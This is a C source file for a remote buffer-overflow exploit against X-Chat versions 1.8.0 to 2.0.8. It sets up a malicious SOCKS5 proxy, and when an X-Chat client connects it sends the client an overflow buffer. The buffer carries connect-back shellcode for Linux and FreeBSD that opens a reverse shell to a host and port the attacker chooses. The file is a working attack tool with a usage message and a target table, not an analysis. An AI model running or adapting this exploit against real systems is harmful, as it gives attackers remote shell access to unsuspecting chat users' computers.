/* * THE EYE ON SECURITY RESEARCH GROUP - INDIA * http://www.eos-india.net * * X-Chat 1.8.0 - 2.0.8 Remote Exploit * FreeBSD address for shellcode not yet added because of time. * But will update soon. * * by Nilanjan De [n2n@front.ru] - Abhisek Datta [abhisek@front.ru] * */ #include #include #include #include #include #include #include #include #define NOP 0x90 #define BUFSIZE 255 #define MAXHOSTNAMELEN 64 #define IP_INDEX 5 #define PORT_INDEX 11 /* Connect back */ static char linux_code[] = "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb0\x02" "\x66\x50\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43" "\x30\xe4\xb0\x66\xcd\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\xb3" "\x03\xb0\x66\xcd\x80\x89\xeb\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" "\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0" "\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; /* Connect back */ static char freebsd_code[] = "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb4\x02" "\x66\x50\x89\xe2\x66\x31\xc0\x50\x40\x50\x40\x50\x50\x30\xe4" "\xb0\x61\xcd\x80\x89\xc7\x31\xc0\xb0\x10\x50\x52\x57\x50\xb0" "\x62\xcd\x80\x50\x57\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x57\x50" "\x83\xc0\x59\xcd\x80\xb0\x02\x50\x57\x50\x83\xc0\x58\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x40" "\x50\x50\xcd\x80"; struct target { char *desc; char *code; u_int retloc; u_int offset; }; struct target targets[] = { { "Gentoo X-Chat 2.0.5",linux_code, 0xbffff440 , 64}, { NULL,0x00,0x00,0x00} /* Sorry no time to install FreeBSD. Will do soon. */ }; void int_handler (int signo) { printf ("+ Exiting on interrupt..\n\n"); exit (EXIT_SUCCESS); } void show_client (struct sockaddr_in s) { printf ("+ Received connection from client\n"); printf ("+ SRC ADDR: %s\n", inet_ntoa (s.sin_addr)); printf ("+ SRC PORT: %d\n", s.sin_port); } int exploit_client (int sock, char *shellcode,u_int retloc, u_int offset) { char *e_buff; char s5_buff[300]; u_int i; int len; int bsize = offset + strlen(shellcode); if(bsize>BUFSIZE) { printf("- Offset too long for shellcode to fit\n"); exit(EXIT_FAILURE); } bsize=BUFSIZE; /* Building buffer */ e_buff = (char *) malloc (bsize + 1); if (!e_buff) { perror ("malloc"); exit (EXIT_FAILURE); } memset (e_buff, NOP,bsize); for (i = 0; i < offset; i += 4) *((u_int *)(e_buff + i)) = retloc; memcpy ((e_buff + bsize - strlen(shellcode)-1), shellcode, strlen(shellcode)); /* Traversing Socks5 */ recv (sock, s5_buff, 3, 0); s5_buff[0] = 5;s5_buff[1] = 0; len = send (sock, s5_buff, 2, 0); if (len != 2) { printf ("- Stage 1:Error in Socks5 traversal\n"); return 0; } recv (sock, s5_buff, 128, 0); s5_buff[0] = 5;s5_buff[1] = 0;s5_buff[2] = 0;s5_buff[3] = 3; s5_buff[4] = bsize-2; memcpy (s5_buff + 5, e_buff, bsize); len = send (sock, s5_buff, bsize + 5, 0); if (len != bsize + 5) { printf ("- Stage 2:Error in Socks5 traversal\n"); return 0; } printf("+ Exploit buffer sent!!!\n"); return 1; } long get_inetaddr(u_char *host) { long addr; struct hostent *h; if ( (addr = inet_addr(host)) < 0) { if ( (h = gethostbyname(host)) == NULL) return INADDR_NONE; memcpy(&addr, h->h_addr_list[0], h->h_length); } return(addr); } long get_localip(void) { u_char hostname[MAXHOSTNAMELEN +1]; struct in_addr addr; memset(hostname, 0x00, sizeof(hostname)); #ifndef BIND_IP if ( gethostname(hostname, MAXHOSTNAMELEN) < 0) { perror("gethostname"); return INADDR_NONE; } addr.s_addr = get_inetaddr(hostname); #else addr.s_addr = inet_addr(BIND_IP); #endif return(addr.s_addr); } void usage(char *progname) { int i; printf("\nUsage: %s targettype connectbackhost connectbackport [listenport [retloc [offset]]]\n", progname); printf(" Targets:\n"); for(i=0;targets[i].desc !=NULL;i++) printf(" %d - %s\n", i, targets[i].desc); exit(EXIT_FAILURE); } int main (int argc, char *argv[]) { int size; int a_sockfd,b_sockfd,c_sockfd; struct sockaddr_in a_sin,b_sin,c_sin; char c; int s5port=1080,type; u_int retloc=0,offset=0; char *bindhost; struct target *t; char *progname=argv[0]; printf("X-Chat v1.8.0-2.0.8 remote exploit\n"); if(argc<4) usage(progname); type = strtoul(argv[1],NULL,0); if((argv[1][0]=='-')||(type<0)||(type>=sizeof(targets)/sizeof(struct target)-1)) { printf("- Bad target type\n"); exit(EXIT_FAILURE); } t=&targets[type]; if((long)(c_sin.sin_addr.s_addr=get_inetaddr(argv[2]))==-1) { printf("- Failed to resolve bind host/IP: %s\n",argv[0]); exit(EXIT_FAILURE); } c_sin.sin_port = htons((u_short)strtoul(argv[3],NULL,0)); if(!c_sin.sin_port) { printf("- Invalid port specification\n"); exit(EXIT_FAILURE); } if(argc>4) s5port = atoi(argv[4]); if(argc>5) t->retloc = strtoul(argv[5],NULL,0); if(argc>6) t->offset = strtoul(argv[6],NULL,0); printf ("+ Getting local IP\n"); b_sin.sin_addr.s_addr = get_localip (); if (b_sin.sin_addr.s_addr == INADDR_NONE) { printf ("- Unable to find interface to bind\n"); exit (EXIT_FAILURE); } printf ("+ Binding malicious sock5 server on: %s:%d\n",inet_ntoa (b_sin.sin_addr), s5port); b_sin.sin_port = htons (s5port); b_sin.sin_family = AF_INET; b_sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (b_sockfd < 0) { perror ("socket"); exit (EXIT_FAILURE); } if (bind (b_sockfd, (struct sockaddr *) &b_sin, sizeof (b_sin))) { perror ("bind"); exit (EXIT_FAILURE); } listen (b_sockfd, 1); signal (SIGINT, int_handler); size = sizeof (a_sin); a_sockfd = accept (b_sockfd, (struct sockaddr *) &a_sin, &size); show_client (a_sin); if (a_sockfd < 0) { perror ("accept"); exit(EXIT_FAILURE); } close (b_sockfd); (*(u_short *)&t->code[PORT_INDEX]) = c_sin.sin_port; (*(u_int *)&t->code[IP_INDEX]) = c_sin.sin_addr.s_addr; printf("+ Target %s [RET:0x%x] [OFFSET:%d]\n",t->desc,t->retloc,t->offset); if (exploit_client (a_sockfd,t->code,t->retloc, t->offset)) //get_connectback(c_sockfd); while(1); printf ("- Exiting\n\n"); shutdown (a_sockfd, SHUT_RDWR);close (a_sockfd); shutdown (b_sockfd, SHUT_RDWR);close (b_sockfd); exit(EXIT_FAILURE); }